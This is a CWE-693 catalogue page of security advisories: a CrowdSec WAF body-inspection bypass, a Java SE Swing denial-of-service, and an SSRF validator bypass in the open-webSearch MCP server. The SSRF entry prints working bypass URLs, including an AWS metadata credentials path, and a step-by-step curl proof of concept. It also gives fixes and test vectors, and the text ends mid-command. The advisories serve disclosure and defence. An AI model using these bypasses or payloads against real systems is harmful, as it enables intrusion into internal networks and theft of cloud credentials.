CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
978 vulnerabilities reference this CWE, most recent first.
GHSA-RW47-HM26-6WR7
Vulnerability from github – Published: 2026-05-27 19:58 – Updated: 2026-05-27 19:58Summary
The CrowdSec AppSec component fails to read the HTTP request body for any request whose Content-Length is not positive — most notably HTTP/1.1 requests using Transfer-Encoding: chunked and HTTP/2 requests sent without a content-length header. Coraza is then evaluated against an empty body, so every WAF rule targeting REQUEST_BODY, BODY_ARGS, ARGS_POST, JSON, or XML silently fails to match.
An unauthenticated remote attacker can bypass the entire AppSec body-inspection pipeline by changing a single framing header on an otherwise-malicious request. The bypassed request is forwarded as allow and produces no WAF log entry.
Affected versions
github.com/crowdsecurity/crowdsec— all releases up to and including v1.7.7.
Affected component
pkg/appsec/request.go, function NewParsedRequestFromRequest.
Root cause
func NewParsedRequestFromRequest(r *http.Request, logger *log.Entry) (ParsedRequest, error) {
var err error
contentLength := max(r.ContentLength, 0)
body := make([]byte, contentLength)
if r.Body != nil {
_, err = io.ReadFull(r.Body, body)
if err != nil {
return ParsedRequest{}, fmt.Errorf("unable to read body: %s", err)
}
r.Body = io.NopCloser(bytes.NewBuffer(body))
}
...
}
Go's net/http server sets r.ContentLength = -1 when the request uses Transfer-Encoding: chunked with no Content-Length header, or when an HTTP/2 request omits the content-length pseudo-header (DATA-frame-only body). With ContentLength == -1:
max(-1, 0)evaluates to0.make([]byte, 0)allocates a zero-length slice.io.ReadFullon a zero-length buffer needs zero bytes and returns immediately without touchingr.Body.- The empty buffer is written back onto the request and onto the cloned request constructed later in the same function.
Every downstream consumer then sees an empty body. In the AppSec runner, WriteRequestBody is skipped because the parsed body has zero length, and ProcessRequestBody runs against nothing.
Impact
Every body-scanning rule is bypassed for any request whose framing makes Content-Length non-positive. In default CrowdSec deployments using the standard AppSec collections, the bypass affects any rule with zones containing BODY_ARGS, JSON, XML, REQUEST_BODY, or ARGS_POST.
No configuration option mitigates the issue — the defect is in the request parser, not in any ruleset. Bypassed requests do not produce a WAF log entry, so operators have no signal that rules are being skipped.
Header-only and URI-only rules are unaffected.
Workarounds
No complete workaround is available.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/crowdsecurity/crowdsec"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.7.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44982"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T19:58:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe CrowdSec AppSec component fails to read the HTTP request body for any request whose `Content-Length` is not positive \u2014 most notably HTTP/1.1 requests using `Transfer-Encoding: chunked` and HTTP/2 requests sent without a `content-length` header. Coraza is then evaluated against an empty body, so every WAF rule targeting `REQUEST_BODY`, `BODY_ARGS`, `ARGS_POST`, `JSON`, or `XML` silently fails to match.\n\nAn unauthenticated remote attacker can bypass the entire AppSec body-inspection pipeline by changing a single framing header on an otherwise-malicious request. The bypassed request is forwarded as `allow` and produces no WAF log entry.\n\n## Affected versions\n\n- `github.com/crowdsecurity/crowdsec` \u2014 all releases up to and including **v1.7.7**.\n\n## Affected component\n\n`pkg/appsec/request.go`, function `NewParsedRequestFromRequest`.\n\n## Root cause\n\n```go\nfunc NewParsedRequestFromRequest(r *http.Request, logger *log.Entry) (ParsedRequest, error) {\n var err error\n contentLength := max(r.ContentLength, 0)\n body := make([]byte, contentLength)\n if r.Body != nil {\n _, err = io.ReadFull(r.Body, body)\n if err != nil {\n return ParsedRequest{}, fmt.Errorf(\"unable to read body: %s\", err)\n }\n r.Body = io.NopCloser(bytes.NewBuffer(body))\n }\n ...\n}\n```\n\nGo\u0027s `net/http` server sets `r.ContentLength = -1` when the request uses `Transfer-Encoding: chunked` with no `Content-Length` header, or when an HTTP/2 request omits the `content-length` pseudo-header (DATA-frame-only body). With `ContentLength == -1`:\n\n1. `max(-1, 0)` evaluates to `0`.\n2. `make([]byte, 0)` allocates a zero-length slice.\n3. `io.ReadFull` on a zero-length buffer needs zero bytes and returns immediately without touching `r.Body`.\n4. The empty buffer is written back onto the request and onto the cloned request constructed later in the same function.\n\nEvery downstream consumer then sees an empty body. In the AppSec runner, `WriteRequestBody` is skipped because the parsed body has zero length, and `ProcessRequestBody` runs against nothing.\n\n## Impact\n\nEvery body-scanning rule is bypassed for any request whose framing makes `Content-Length` non-positive. In default CrowdSec deployments using the standard AppSec collections, the bypass affects any rule with `zones` containing `BODY_ARGS`, `JSON`, `XML`, `REQUEST_BODY`, or `ARGS_POST`.\n\nNo configuration option mitigates the issue \u2014 the defect is in the request parser, not in any ruleset. Bypassed requests do not produce a WAF log entry, so operators have no signal that rules are being skipped.\n\nHeader-only and URI-only rules are unaffected.\n\n## Workarounds\n\nNo complete workaround is available.",
"id": "GHSA-rw47-hm26-6wr7",
"modified": "2026-05-27T19:58:15Z",
"published": "2026-05-27T19:58:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/crowdsecurity/crowdsec/security/advisories/GHSA-rw47-hm26-6wr7"
},
{
"type": "PACKAGE",
"url": "https://github.com/crowdsecurity/crowdsec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CrowdSec AppSec silently drops request body for chunked / HTTP-2 requests"
}
GHSA-RX4C-WHWX-3X45
Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2024-06-21 21:33Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
{
"affected": [],
"aliases": [
"CVE-2021-35556"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-20T11:16:00Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).",
"id": "GHSA-rx4c-whwx-3x45",
"modified": "2024-06-21T21:33:50Z",
"published": "2022-05-24T19:18:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35556"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-5012"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-5000"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20211022-0004"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202209-05"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/V362B2BWTH5IJDL45QPQGMBKIQOG7JX5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GXTUWAWXVU37GRNIG4TPMA47THO6VAE6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GTYZWIXDFUV2H57YQZJWPOD3BC3I3EIQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DJILEHYV2U37HKMGFEQ7CAVOV4DUWW2O"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7WTVCIVHTX3XONYOEGUMLKCM4QEC6INT"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6EUURAQOIJYFZHQ7DFZCO6IKDPIAWTNK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/V362B2BWTH5IJDL45QPQGMBKIQOG7JX5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GXTUWAWXVU37GRNIG4TPMA47THO6VAE6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GTYZWIXDFUV2H57YQZJWPOD3BC3I3EIQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DJILEHYV2U37HKMGFEQ7CAVOV4DUWW2O"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7WTVCIVHTX3XONYOEGUMLKCM4QEC6INT"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6EUURAQOIJYFZHQ7DFZCO6IKDPIAWTNK"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/11/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V228-72C7-FX8J
Vulnerability from github – Published: 2026-05-05 20:51 – Updated: 2026-05-13 16:24Summary
src/utils/urlSafety.ts exposes isPublicHttpUrl / assertPublicHttpUrl, used to gate the MCP fetchWebContent tool against private-network targets. The check has two defects that together allow non-blind SSRF with the response body returned to the caller:
- Bracketed IPv6 literals are never recognized. Node's WHATWG
URL.hostnamekeeps the surrounding[…]for IPv6 literals.isIP("[::1]")returns 0 (not 6), so neitherisPrivateIpv4norisPrivateIpv6is ever called on an IPv6 literal input — including[::1]itself, and including every IPv4-mapped form such as[::ffff:7f00:1](= 127.0.0.1 via the IPv4 stack). - No DNS resolution.
isPrivateOrLocalHostnameonly inspects the literalhostnamestring. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, andaxiosthen performs its own resolution and connects to the private address.
The isPrivateIpv6 implementation also has the hex bypass (it would miss ::ffff:7f00:1 even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.
The fetchWebContent tool returns the response body (JSON.stringify(result)) to the MCP caller, so the SSRF is non-blind.
Details
Vulnerable function — src/utils/urlSafety.ts:95-119:
export function isPrivateOrLocalHostname(hostname: string): boolean {
const host = hostname.trim().toLowerCase();
if (!host) return true;
if (host === 'localhost' || host.endsWith('.localhost')) return true;
if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;
const integerIp = parseIntegerIpv4Literal(host);
if (integerIp && isPrivateIpv4(integerIp)) return true;
if (isPrivateOrLocalIp(host)) return true; // only runs if isIP(host) ∈ {4, 6}
return false;
}
isPrivateOrLocalIp — src/utils/urlSafety.ts:84-93:
function isPrivateOrLocalIp(ip: string): boolean {
const version = isIP(ip); // returns 0 for "[::1]", "[::ffff:7f00:1]", any bracketed literal
if (version === 4) return isPrivateIpv4(ip);
if (version === 6) return isPrivateIpv6(ip);
return false;
}
Caller — src/tools/setupTools.ts:252-286 (fetchWebContent tool):
server.tool(
fetchWebToolName, // default: "fetchWebContent"
"Fetch content from a public HTTP(S) URL ...",
{ url: z.string().url().refine(
(url) => validatePublicWebUrl(url), // → isPublicHttpUrl → isPrivateOrLocalHostname
"URL must be a public HTTP(S) address ..."
), /* … */ },
async ({url, maxChars}) => {
const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*…*/ });
return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };
}
);
Service — src/engines/web/fetchWebContent.ts:313-375: re-validates via assertPublicHttpUrl (same broken check), then calls axios.head + axios.get on the raw URL and returns response.data and response.headers to the caller.
Transport — src/index.ts:85-253: when config.enableHttpServer is true (documented configuration; enabled by the Docker image), the MCP server binds on 0.0.0.0:${PORT} (default 3000) with CORS origin: '*' and no authentication on /mcp (Streamable HTTP) or /sse (legacy SSE). Anyone who can reach the port can invoke any tool.
Verification of the validator (run against current HEAD)
I executed the real isPublicHttpUrl / assertPublicHttpUrl from src/utils/urlSafety.ts under tsx against a set of inputs:
| Input URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl |
|---|---|---|---|
| http://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass |
| http://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true ← bypass | PASSED ← bypass |
| http://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true ← bypass | PASSED ← bypass |
| http://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass |
| http://[0:0:0:0:0:0:0:1]/ | [::1] | true ← bypass | PASSED ← bypass |
| http://[::1]/ (plain loopback!) | [::1] | true ← bypass | PASSED ← bypass |
| http://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked) |
| http://localhost/ (control) | localhost | false (blocked) | threw (blocked) |
WHATWG new URL("http://[::ffff:127.0.0.1]/").hostname returns [::ffff:7f00:1] — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.
Verification of the fetch (Node 22/25)
I bound a trivial HTTP server to 127.0.0.1:29999 and called axios.get("http://[::ffff:7f00:1]:29999/") from Node; the request reached the server:
HIT: / from 127.0.0.1 family IPv4
http://[::ffff:7f00:1]:29999/ -> 200 <html>internal content</html>
The OS routes ::ffff:X.X.X.X connections through the IPv4 stack, so the PoC works identically across macOS and Linux.
Environment: clean clone of Aas-ee/open-webSearch@HEAD, Node 22+.
1. Start the MCP HTTP server.
git clone https://github.com/Aas-ee/open-webSearch.git
cd open-webSearch
npm install && npm run build
MODE=http PORT=3000 node build/index.js &
2. Stand up a canary on loopback.
node -e '
require("http").createServer((q,r)=>{
console.log("[canary]", q.method, q.url, "from", q.socket.remoteAddress);
r.writeHead(200, {"content-type":"text/html"});
r.end("INTERNAL-SECRET: canary-hit for " + q.url);
}).listen(19999, "127.0.0.1", () => console.log("canary on 127.0.0.1:19999"));
' &
3. Open an MCP session and call fetchWebContent with the bypass URL.
# Accept header must include both JSON and SSE for Streamable HTTP transport.
ACCEPT='application/json, text/event-stream'
# initialize → grab the mcp-session-id header
SID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}' \
| awk 'tolower($1)=="mcp-session-id:" { gsub(/\r/,""); print $2 }')
# notifications/initialized
curl -sS -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
-d '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' >/dev/null
# call fetchWebContent with the SSRF bypass URL
curl -sS -X POST http://127.0.0.1:3000/mcp \
-H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
"name":"fetchWebContent",
"arguments":{"url":"http://[::ffff:7f00:1]:19999/internal","maxChars":10000}
}}'
Expected result: the canary logs [canary] GET /internal from 127.0.0.1, and the MCP response contains INTERNAL-SECRET: canary-hit for /internal in the tool's content[0].text.
Additional bypass vectors that work the same way:
http://[::1]:<port>/— plain IPv6 loopback.http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/— AWS EC2 metadata over the IPv4 stack.http://attacker.example/whereattacker.examplehas A/AAAA pointing at any private address — bypasses via defect (2), no IPv6 trick needed.
Impact
- Cross-tenant SSRF with full response body. Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours — all in scope.
- Pre-auth when
enableHttpServeris set. No authentication layer exists on/mcpor/sse; CORS is*. - DNS-rebinding / LAN-victim angle. Because
/mcpis CORS*and acceptsPOST, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool's response can be exfiltrated back via a simple XHR. - Exploitable over stdio too. Even with HTTP disabled, a compromised or prompt-injected MCP client can call
fetchWebContentagainst loopback on the host running the server — a realistic LLM-agent-abuse vector.
No meaningful mitigation in the call chain: only http:// and https:// schemes are accepted, but that is not a restriction for SSRF.
Suggested fix
Two changes, either of which individually closes most of the gap; both together close it fully.
-
Normalize the hostname before IP checks, and perform a DNS resolution. Use the
ip-addresspackage or a similar canonicalizer, and reject anygetaddrinforesult whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before callingisIP().```ts import { lookup } from 'node:dns/promises'; import { Address4, Address6 } from 'ip-address';
function stripBrackets(h: string): string { return h.startsWith('[') && h.endsWith(']') ? h.slice(1, -1) : h; }
const BLOCKED_V6_CIDRS = [ '::1/128', '::/128', 'fc00::/7', 'fe80::/10', '2001:db8::/32', '2002::/16', '64:ff9b::/96', '100::/64', 'ff00::/8', '::ffff:0:0/96', // IPv4-mapped — delegate to v4 check ];
function ipv6IsPrivate(addr6: Address6): boolean { const v4 = addr6.to4(); if (v4 && v4.isValid()) return isPrivateIpv4(v4.address); return BLOCKED_V6_CIDRS.some(cidr => addr6.isInSubnet(new Address6(cidr))); }
export async function assertPublicHttpUrl(url: URL | string, label = 'URL') { const parsed = typeof url === 'string' ? new URL(url) : url; if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') throw …; const host = stripBrackets(parsed.hostname);
// Literal IP case. const v = isIP(host); if (v === 4 && isPrivateIpv4(host)) throw …; if (v === 6 && ipv6IsPrivate(new Address6(host))) throw …;
if (v === 0) { // Hostname — resolve and check every record. const records = await lookup(host, { all: true, verbatim: true }); for (const r of records) { if (r.family === 4 && isPrivateIpv4(r.address)) throw …; if (r.family === 6 && ipv6IsPrivate(new Address6(r.address))) throw …; } } } ```
-
Dual-pin the connection. Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and
axios.get). Use a customundiciAgentwhoseconnecthook validates the actual connected socket IP viasocket.remoteAddress. That closes the rebinding window. -
Gate the HTTP transport. Require a bearer token (env var) on
/mcpand/sse, and restrict binding to127.0.0.1by default. CORS*plus no-auth on0.0.0.0is the same exposure profile as an unauthenticated open proxy.
Test vectors to add to the suite:
```ts for (const url of [ 'http://[::1]/', 'http://[::]/', 'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/', 'http://[0:0:0:0:0:ffff:127.0.0.1]/', 'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/', 'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/', ]) expect(isPublicHttpUrl(url)).toBe(false);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.6"
},
"package": {
"ecosystem": "npm",
"name": "open-websearch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42260"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-693",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:51:45Z",
"nvd_published_at": "2026-05-12T15:16:15Z",
"severity": "HIGH"
},
"details": "### Summary\n`src/utils/urlSafety.ts` exposes `isPublicHttpUrl` / `assertPublicHttpUrl`, used to gate the MCP `fetchWebContent` tool against private-network targets. The check has two defects that together allow **non-blind SSRF with the response body returned to the caller**:\n\n1. **Bracketed IPv6 literals are never recognized.** Node\u0027s WHATWG `URL.hostname` keeps the surrounding `[\u2026]` for IPv6 literals. `isIP(\"[::1]\")` returns 0 (not 6), so neither `isPrivateIpv4` nor `isPrivateIpv6` is ever called on an IPv6 literal input \u2014 including `[::1]` itself, and including every IPv4-mapped form such as `[::ffff:7f00:1]` (= 127.0.0.1 via the IPv4 stack).\n2. **No DNS resolution.** `isPrivateOrLocalHostname` only inspects the literal `hostname` string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and `axios` then performs its own resolution and connects to the private address.\n\nThe `isPrivateIpv6` implementation also has the hex bypass (it would miss `::ffff:7f00:1` even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.\n\nThe `fetchWebContent` tool returns the response body (`JSON.stringify(result)`) to the MCP caller, so the SSRF is non-blind.\n\n### Details\n\u003c!-- obsidian --\u003e\u003cp\u003e\u003cstrong\u003eVulnerable function\u003c/strong\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:95-119\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eexport function isPrivateOrLocalHostname(hostname: string): boolean {\n const host = hostname.trim().toLowerCase();\n if (!host) return true;\n if (host === \u0027localhost\u0027 || host.endsWith(\u0027.localhost\u0027)) return true;\n if (host === \u0027metadata.google.internal\u0027 || host === \u0027metadata.azure.internal\u0027) return true;\n const integerIp = parseIntegerIpv4Literal(host);\n if (integerIp \u0026#x26;\u0026#x26; isPrivateIpv4(integerIp)) return true;\n if (isPrivateOrLocalIp(host)) return true; // only runs if isIP(host) \u2208 {4, 6}\n return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eisPrivateOrLocalIp\u003c/code\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:84-93\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003efunction isPrivateOrLocalIp(ip: string): boolean {\n const version = isIP(ip); // returns 0 for \"[::1]\", \"[::ffff:7f00:1]\", any bracketed literal\n if (version === 4) return isPrivateIpv4(ip);\n if (version === 6) return isPrivateIpv6(ip);\n return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eCaller \u2014 \u003ccode\u003esrc/tools/setupTools.ts:252-286\u003c/code\u003e (\u003ccode\u003efetchWebContent\u003c/code\u003e tool):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eserver.tool(\n fetchWebToolName, // default: \"fetchWebContent\"\n \"Fetch content from a public HTTP(S) URL ...\",\n { url: z.string().url().refine(\n (url) =\u003e validatePublicWebUrl(url), // \u2192 isPublicHttpUrl \u2192 isPrivateOrLocalHostname\n \"URL must be a public HTTP(S) address ...\"\n ), /* \u2026 */ },\n async ({url, maxChars}) =\u003e {\n const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*\u2026*/ });\n return { content: [{ type: \u0027text\u0027, text: JSON.stringify(result, null, 2) }] };\n }\n);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eService \u2014 \u003ccode\u003esrc/engines/web/fetchWebContent.ts:313-375\u003c/code\u003e: re-validates via \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e (same broken check), then calls \u003ccode\u003eaxios.head\u003c/code\u003e + \u003ccode\u003eaxios.get\u003c/code\u003e on the raw URL and returns \u003ccode\u003eresponse.data\u003c/code\u003e and \u003ccode\u003eresponse.headers\u003c/code\u003e to the caller.\u003c/p\u003e\n\u003cp\u003eTransport \u2014 \u003ccode\u003esrc/index.ts:85-253\u003c/code\u003e: when \u003ccode\u003econfig.enableHttpServer\u003c/code\u003e is true (documented configuration; enabled by the Docker image), the MCP server binds on \u003ccode\u003e0.0.0.0:${PORT}\u003c/code\u003e (default \u003ccode\u003e3000\u003c/code\u003e) with CORS \u003ccode\u003eorigin: \u0027*\u0027\u003c/code\u003e and \u003cstrong\u003eno authentication\u003c/strong\u003e on \u003ccode\u003e/mcp\u003c/code\u003e (Streamable HTTP) or \u003ccode\u003e/sse\u003c/code\u003e (legacy SSE). Anyone who can reach the port can invoke any tool.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the validator (run against current \u0026#x60;HEAD\u0026#x60;)\"\u003eVerification of the validator (run against current \u003ccode\u003eHEAD\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eI executed the real \u003ccode\u003eisPublicHttpUrl\u003c/code\u003e / \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e from \u003ccode\u003esrc/utils/urlSafety.ts\u003c/code\u003e under \u003ccode\u003etsx\u003c/code\u003e against a set of inputs:\u003c/p\u003e\n\nInput URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl\n-- | -- | -- | --\nhttp://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[0:0:0:0:0:0:0:1]/ | [::1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://[::1]/ (plain loopback!) | [::1] | true \u2190 bypass | PASSED \u2190 bypass\nhttp://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked)\nhttp://localhost/ (control) | localhost | false (blocked) | threw (blocked)\n\n\n\u003cp\u003eWHATWG \u003ccode\u003enew URL(\"http://[::ffff:127.0.0.1]/\").hostname\u003c/code\u003e returns \u003ccode\u003e[::ffff:7f00:1]\u003c/code\u003e \u2014 note that Node\u0027s URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the fetch (Node 22/25)\"\u003eVerification of the fetch (Node 22/25)\u003c/h3\u003e\n\u003cp\u003eI bound a trivial HTTP server to \u003ccode\u003e127.0.0.1:29999\u003c/code\u003e and called \u003ccode\u003eaxios.get(\"http://[::ffff:7f00:1]:29999/\")\u003c/code\u003e from Node; the request reached the server:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e HIT: / from 127.0.0.1 family IPv4\nhttp://[::ffff:7f00:1]:29999/ -\u003e 200 \u0026#x3C;html\u003einternal content\u0026#x3C;/html\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe OS routes \u003ccode\u003e::ffff:X.X.X.X\u003c/code\u003e connections through the IPv4 stack, so the PoC works identically across macOS and Linux.\u003c/p\u003e\n\nEnvironment: clean clone of `Aas-ee/open-webSearch@HEAD`, Node 22+.\n\n**1. Start the MCP HTTP server.**\n\n```bash\ngit clone https://github.com/Aas-ee/open-webSearch.git\ncd open-webSearch\nnpm install \u0026\u0026 npm run build\nMODE=http PORT=3000 node build/index.js \u0026\n```\n\n**2. Stand up a canary on loopback.**\n\n```bash\nnode -e \u0027\n require(\"http\").createServer((q,r)=\u003e{\n console.log(\"[canary]\", q.method, q.url, \"from\", q.socket.remoteAddress);\n r.writeHead(200, {\"content-type\":\"text/html\"});\n r.end(\"INTERNAL-SECRET: canary-hit for \" + q.url);\n }).listen(19999, \"127.0.0.1\", () =\u003e console.log(\"canary on 127.0.0.1:19999\"));\n\u0027 \u0026\n```\n\n**3. Open an MCP session and call `fetchWebContent` with the bypass URL.**\n\n```bash\n# Accept header must include both JSON and SSE for Streamable HTTP transport.\nACCEPT=\u0027application/json, text/event-stream\u0027\n\n# initialize \u2192 grab the mcp-session-id header\nSID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \\\n -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0\"}}}\u0027 \\\n | awk 